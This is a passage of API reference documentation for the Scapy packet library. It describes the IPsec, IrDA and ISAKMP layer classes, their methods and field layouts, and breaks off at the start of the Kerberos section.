verify(pkt, key, esn_en=False, esn=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ipsec.py#L700-L746]

	Check that the integrity check value (icv) of a packet is valid.


	Parameters:

	
	pkt – a packet that contains a valid encrypted ESP or AH layer


	key – the authentication key, a byte string


	esn_en – extended sequence number enable which allows to use
64-bit sequence number instead of 32-bit


	esn – extended sequence number (32 MSB)






	Raises:

	scapy.layers.ipsec.IPSecIntegrityError – if the integrity check
fails














	
class scapy.layers.ipsec.CryptAlgo(name, cipher, mode, block_size=None, iv_size=None, key_size=None, icv_size=None, salt_size=None, format_mode_iv=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ipsec.py#L238-L512]

	Bases: object

IPsec encryption algorithm


	
check_key(key)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ipsec.py#L311-L319]

	Check that the key length is valid.


	Parameters:

	key – a byte string










	
decrypt(sa, esp, key, icv_size=None, esn_en=False, esn=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ipsec.py#L440-L512]

	Decrypt an ESP packet


	Parameters:

	
	sa – the SecurityAssociation associated with the ESP packet.


	esp – an encrypted ESP packet


	key – the secret key used for encryption


	icv_size – the length of the icv used for integrity check


	esn_en – extended sequence number enable which allows to use
64-bit sequence number instead of 32-bit when using an
AEAD algorithm


	esn – extended sequence number (32 MSB)






	Returns:

	a valid ESP packet encrypted with this algorithm



	Raises:

	scapy.layers.ipsec.IPSecIntegrityError – if the integrity check
fails with an AEAD algorithm










	
encrypt(sa, esp, key, icv_size=None, esn_en=False, esn=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ipsec.py#L390-L438]

	Encrypt an ESP packet


	Parameters:

	
	sa – the SecurityAssociation associated with the ESP packet.


	esp – an unencrypted _ESPPlain packet with valid padding


	key – the secret key used for encryption


	icv_size – the length of the icv used for integrity check






	Esn_en:

	extended sequence number enable which allows to use 64-bit
sequence number instead of 32-bit when using an AEAD
algorithm



	Esn:

	extended sequence number (32 MSB)



	Returns:

	a valid ESP packet encrypted with this algorithm










	
generate_iv()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ipsec.py#L321-L327]

	Generate a random initialization vector.






	
new_cipher(**kwargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L1165-L1170]

	




	
pad(esp)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ipsec.py#L355-L388]

	Add the correct amount of padding so that the data to encrypt is
exactly a multiple of the algorithm’s block size.

Also, make sure that the total ESP packet length is a multiple of 4
bytes.


	Parameters:

	esp – an unencrypted _ESPPlain packet



	Returns:

	an unencrypted _ESPPlain packet with valid padding














	
class scapy.layers.ipsec.ESP(_pkt, /, *, spi=1, seq=0, data=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ipsec.py#L119-L150]

	Bases: Packet

Encapsulated Security Payload

See https://tools.ietf.org/rfc/rfc4303.txt


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ipsec.py#L133-L142]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SPI                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SEQ                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. ESP                             


ESP fields






	spi

	XIntField

	1



	seq

	IntField

	0



	data

	XStrField

	None















	
exception scapy.layers.ipsec.IPSecIntegrityError[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ipsec.py#L618-L622]

	Bases: Exception

Error risen when the integrity check fails.






	
class scapy.layers.ipsec.NAT_KEEPALIVE(_pkt, /, *, nat_keepalive=255)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ipsec.py#L159-L162]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| NAT KEEPALIVE |
+-+-+-+-+-+-+-+-+

                        Fig. NAT_KEEPALIVE                        


NAT_KEEPALIVE fields






	nat_keepalive

	XByteField

	255















	
class scapy.layers.ipsec.NON_ESP(_pkt, /, *, non_esp=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ipsec.py#L153-L156]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            NON ESP                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. NON_ESP                           


NON_ESP fields






	non_esp

	XIntField

	0











	
payload_guess

	Possible sublayers:
IKEv2










	
class scapy.layers.ipsec.SecurityAssociation(proto, spi, seq_num=1, crypt_algo=None, crypt_key=None, crypt_icv_size=None, auth_algo=None, auth_key=None, tunnel_header=None, nat_t_header=None, esn_en=False, esn=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ipsec.py#L924-L1259]

	Bases: object

This class is responsible of “encryption” and “decryption” of IPsec packets.  # noqa: E501


	
SUPPORTED_PROTOS = (<class 'scapy.layers.inet.IP'>, <class 'scapy.layers.inet6.IPv6'>)

	




	
check_spi(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ipsec.py#L1009-L1012]

	




	
decrypt(pkt, verify=True, esn_en=None, esn=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ipsec.py#L1235-L1259]

	Decrypt (and decapsulate) an IP(v6) packet containing ESP or AH.


	Parameters:

	
	pkt – the packet to decrypt


	verify – if False, do not perform the integrity check


	esn_en – extended sequence number enable which allows to use
64-bit sequence number instead of 32-bit when using an
AEAD algorithm


	esn – extended sequence number (32 MSB)






	Returns:

	the decrypted/decapsulated packet



	Raises:

	scapy.layers.ipsec.IPSecIntegrityError – if the integrity check
fails










	
encrypt(pkt, seq_num=None, iv=None, esn_en=None, esn=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ipsec.py#L1127-L1153]

	Encrypt (and encapsulate) an IP(v6) packet with ESP or AH according
to this SecurityAssociation.


	Parameters:

	
	pkt – the packet to encrypt


	seq_num – if specified, use this sequence number instead of the
generated one


	esn_en – extended sequence number enable which allows to
use 64-bit sequence number instead of 32-bit when
using an AEAD algorithm


	esn – extended sequence number (32 MSB)


	iv – if specified, use this initialization vector for
encryption instead of a random one.






	Returns:

	the encrypted/encapsulated packet














	
scapy.layers.ipsec.split_for_transport(orig_pkt, transport_proto)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ipsec.py#L790-L836]

	Split an IP(v6) packet in the correct location to insert an ESP or AH
header.


	Parameters:

	
	orig_pkt – the packet to split. Must be an IP or IPv6 packet


	transport_proto – the IPsec protocol number that will be inserted
at the split position.






	Returns:

	a tuple (header, nh, payload) where nh is the protocol number of
payload.










	
scapy.layers.ipsec.zero_mutable_fields(pkt, sending=False)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ipsec.py#L852-L919]

	When using AH, all “mutable” fields must be “zeroed” before calculating
the ICV. See RFC 4302, Section 3.3.3.1. Handling Mutable Fields.


	Parameters:

	
	pkt – an IP(v6) packet containing an AH layer.
NOTE: The packet will be modified


	sending – if true, ipv6 routing headers will not be reordered















            

          

      

      

    

  

    
      
          
            
  
scapy.layers.ir

IrDA infrared data communication.


	
class scapy.layers.ir.IrLAPCommand(_pkt, /, *, Control=0, Format_identifier=0, Source_address=0, Destination_address=4294967295, Discovery_flags=1, Slot_number=255, Version=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ir.py#L25-L33]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    CONTROL    |FORMAT IDENTIFI|         SOURCE ADDRESS        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |      DESTINATION ADDRESS      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |DISCOVERY FLAGS|  SLOT NUMBER  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |
+-+-+-+-+-+-+-+-+

                        Fig. IrLAPCommand                         


IrLAPCommand fields






	Control

	XByteField

	0



	Format_identifier

	XByteField

	0



	Source_address

	XIntField

	0



	Destination_address

	XIntField

	4294967295



	Discovery_flags

	XByteField

	1



	Slot_number

	ByteEnumField

	255



	Version

	XByteField

	0











	
payload_guess

	Possible sublayers:
IrLMP










	
class scapy.layers.ir.IrLAPHead(_pkt, /, *, Address=127, Type=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ir.py#L18-L22]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   ADDRESS   |T|
+-+-+-+-+-+-+-+-+

                          Fig. IrLAPHead                          


IrLAPHead fields






	Address

	XBitField  (7 bits)

	127



	Type

	BitEnumField

	1











	
payload_guess

	Possible sublayers:
IrLAPCommand










	
class scapy.layers.ir.IrLMP(_pkt, /, *, Service_hints=0, Character_set=0, Device_name=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ir.py#L36-L40]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         SERVICE HINTS         | CHARACTER SET |  DEVICE NAME  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                            Fig. IrLMP                            


IrLMP fields






	Service_hints

	XShortField

	0



	Character_set

	XByteField

	0



	Device_name

	StrField

	b''

















            

          

      

      

    

  

    
      
          
            
  
scapy.layers.isakmp

ISAKMP (Internet Security Association and Key Management Protocol).


	
class scapy.layers.isakmp.ISAKMP(_pkt, /, *, init_cookie=b'', resp_cookie=b'', next_payload=0, version=16, exch_type=0, flags=<Flag 0 ()>, id=0, length=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/isakmp.py#L297-L325]

	Bases: _ISAKMP_class


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/isakmp.py#L315-L319]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          INIT COOKIE                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          RESP COOKIE                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |    VERSION    |   EXCH TYPE   |     FLAGS     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             LENGTH                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. ISAKMP                            


ISAKMP fields






	init_cookie

	XStrFixedLenField

	b''



	resp_cookie

	XStrFixedLenField

	b''



	next_payload

	ByteEnumField

	0



	version

	XByteField

	16



	exch_type

	ByteEnumField

	0



	flags

	FlagsField

	<Flag 0 ()>



	id

	IntField

	0



	length

	IntField

	None











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/isakmp.py#L310-L313]

	




	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/isakmp.py#L321-L325]

	








	
class scapy.layers.isakmp.ISAKMPTransformSetField(name: str, default: bytes, length_from: Callable[[Packet], int] | None = None, max_length: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/isakmp.py#L158-L242]

	Bases: StrLenField


	
i2m(pkt, i)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/isakmp.py#L207-L212]

	




	
islist = 1

	




	
m2i(pkt, m)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/isakmp.py#L214-L242]

	




	
static num2type(typ, enc, proto=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/isakmp.py#L187-L196]

	




	
static type2num(type_val_tuple, proto=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/isakmp.py#L161-L185]

	








	
class scapy.layers.isakmp.ISAKMP_payload(_pkt, /, *, next_payload=None, res=0, length=None, load=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/isakmp.py#L330-L343]

	Bases: _ISAKMP_class


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |      RES      |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LOAD             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. ISAKMP_payload                        


ISAKMP_payload fields






	next_payload

	ByteEnumField

	None



	res

	ByteField

	0



	length

	ShortField

	None



	load

	XStrLenField

	b''











	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/isakmp.py#L340-L343]

	




	
show_indent = 0

	








	
class scapy.layers.isakmp.ISAKMP_payload_Delete(_pkt, /, *, next_payload=None, res=0, length=None, doi=0, proto=1, SPIsize=None, SPIcount=None, SPIs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/isakmp.py#L493-L504]

	Bases: ISAKMP_payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |      RES      |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DOI                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     PROTO     |    SPISIZE    |            SPICOUNT           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              SPIS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. ISAKMP_payload_Delete                    


ISAKMP_payload_Delete fields






	next_payload

	ByteEnumField

	None



	res

	ByteField

	0



	length

	ShortField

	None



	doi

	IntEnumField

	0



	proto

	ByteEnumField

	1



	SPIsize

	FieldLenField

	None



	SPIcount

	FieldLenField

	None



	SPIs

	FieldListField

	[]















	
class scapy.layers.isakmp.ISAKMP_payload_Hash(_pkt, /, *, next_payload=None, res=0, length=None, load=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/isakmp.py#L440-L441]

	Bases: ISAKMP_payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |      RES      |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LOAD             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. ISAKMP_payload_Hash                     


ISAKMP_payload_Hash fields






	next_payload

	ByteEnumField

	None



	res

	ByteField

	0



	length

	ShortField

	None



	load

	XStrLenField

	b''















	
class scapy.layers.isakmp.ISAKMP_payload_ID(_pkt, /, *, next_payload=None, res=0, length=None, IDtype=1, ProtoID=0, Port=0, IdentData=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/isakmp.py#L418-L437]

	Bases: ISAKMP_payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |      RES      |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IDTYPE    |    PROTOID    |              PORT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           IDENTDATA           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ISAKMP_payload_ID                      


ISAKMP_payload_ID fields






	next_payload

	ByteEnumField

	None



	res

	ByteField

	0



	length

	ShortField

	None



	IDtype

	ByteEnumField

	1



	ProtoID

	ByteEnumField

	0



	Port

	ShortEnumField

	0



	IdentData

	MultipleTypeField (IPField, StrLenField)

	b''















	
class scapy.layers.isakmp.ISAKMP_payload_KE(_pkt, /, *, next_payload=None, res=0, length=None, load=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/isakmp.py#L414-L415]

	Bases: ISAKMP_payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |      RES      |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LOAD             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ISAKMP_payload_KE                      


ISAKMP_payload_KE fields






	next_payload

	ByteEnumField

	None



	res

	ByteField

	0



	length

	ShortField

	None



	load

	XStrLenField

	b''















	
class scapy.layers.isakmp.ISAKMP_payload_Nonce(_pkt, /, *, next_payload=None, res=0, length=None, load=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/isakmp.py#L410-L411]

	Bases: ISAKMP_payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |      RES      |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LOAD             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. ISAKMP_payload_Nonce                     


ISAKMP_payload_Nonce fields






	next_payload

	ByteEnumField

	None



	res

	ByteField

	0



	length

	ShortField

	None



	load

	XStrLenField

	b''















	
class scapy.layers.isakmp.ISAKMP_payload_Notify(_pkt, /, *, next_payload=None, res=0, length=None, doi=0, proto=1, SPIsize=None, notify_msg_type=None, SPI=b'', notify_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/isakmp.py#L480-L490]

	Bases: ISAKMP_payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |      RES      |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DOI                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     PROTO     |    SPISIZE    |        NOTIFY MSG TYPE        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              SPI              |          NOTIFY DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. ISAKMP_payload_Notify                    


ISAKMP_payload_Notify fields






	next_payload

	ByteEnumField

	None



	res

	ByteField

	0



	length

	ShortField

	None



	doi

	IntEnumField

	0



	proto

	ByteEnumField

	1



	SPIsize

	FieldLenField

	None



	notify_msg_type

	ShortEnumField

	None



	SPI

	StrLenField

	b''



	notify_data

	StrLenField

	b''















	
class scapy.layers.isakmp.ISAKMP_payload_Proposal(_pkt, /, *, next_payload=None, res=0, length=None, proposal=1, proto=1, SPIsize=None, trans_nb=None, SPI=b'', trans=<Raw  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/isakmp.py#L368-L377]

	Bases: ISAKMP_payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |      RES      |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    PROPOSAL   |     PROTO     |    SPISIZE    |    TRANS NB   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              SPI              |             TRANS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. ISAKMP_payload_Proposal                   


ISAKMP_payload_Proposal fields






	next_payload

	ByteEnumField

	None



	res

	ByteField

	0



	length

	ShortField

	None



	proposal

	ByteField

	1



	proto

	ByteEnumField

	1



	SPIsize

	FieldLenField

	None



	trans_nb

	ByteField

	None



	SPI

	StrLenField

	b''



	trans

	PacketLenField

	<Raw  |>















	
class scapy.layers.isakmp.ISAKMP_payload_SA(_pkt, /, *, next_payload=None, res=0, length=None, doi=1, situation=1, prop=<Raw  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/isakmp.py#L401-L407]

	Bases: ISAKMP_payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |      RES      |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DOI                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SITUATION                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              PROP             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ISAKMP_payload_SA                      


ISAKMP_payload_SA fields






	next_payload

	ByteEnumField

	None



	res

	ByteField

	0



	length

	ShortField

	None



	doi

	IntEnumField

	1



	situation

	IntEnumField

	1



	prop

	PacketLenField

	<Raw  |>















	
class scapy.layers.isakmp.ISAKMP_payload_Transform(_pkt, /, *, next_payload=None, res=0, length=None, transform_count=None, transform_id=1, res2=0, transforms=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/isakmp.py#L346-L364]

	Bases: ISAKMP_payload


	
aliastypes

	




	
deprecated_fields: Dict[str, Tuple[str, str]] = {'id': ('transform_id', '2.5.0'), 'num': ('transform_count', '2.5.0')}

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |      RES      |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|TRANSFORM COUNT|  TRANSFORM ID |              RES2             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           TRANSFORMS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. ISAKMP_payload_Transform                   


ISAKMP_payload_Transform fields






	next_payload

	ByteEnumField

	None



	res

	ByteField

	0



	length

	ShortField

	None



	transform_count

	ByteField

	None



	transform_id

	ByteEnumField

	1



	res2

	ShortField

	0



	transforms

	ISAKMPTransformSetField

	None















	
class scapy.layers.isakmp.ISAKMP_payload_VendorID(_pkt, /, *, next_payload=None, res=0, length=None, VendorID=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/isakmp.py#L392-L398]

	Bases: ISAKMP_payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |      RES      |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            VENDORID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. ISAKMP_payload_VendorID                   


ISAKMP_payload_VendorID fields






	next_payload

	ByteEnumField

	None



	res

	ByteField

	0



	length

	ShortField

	None



	VendorID

	StrLenEnumField

	b''















	
scapy.layers.isakmp.ikescan(ip)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/isakmp.py#L530-L536]

	Sends/receives a ISAMPK payload SA with payload proposal








            

          

      

      

    

  

    
      
          
            
  
scapy.layers.kerberos

Kerberos V5

Implements parts of:


	Kerberos Network Authentication Service (V5): RFC4120


	Kerberos Version 5 GSS-API: RFC1964, RFC4121


	Kerberos Pre-Authentication: RFC6113 (FAST)


	Kerberos Principal Name Canonicalization and Cross-Realm Referrals: RFC6806


	Microsoft Windows 2000 Kerberos Change Password and Set Password Protocols: RFC3244


	User to User Kerberos Authentication: draft-ietf-cat-user2user-03


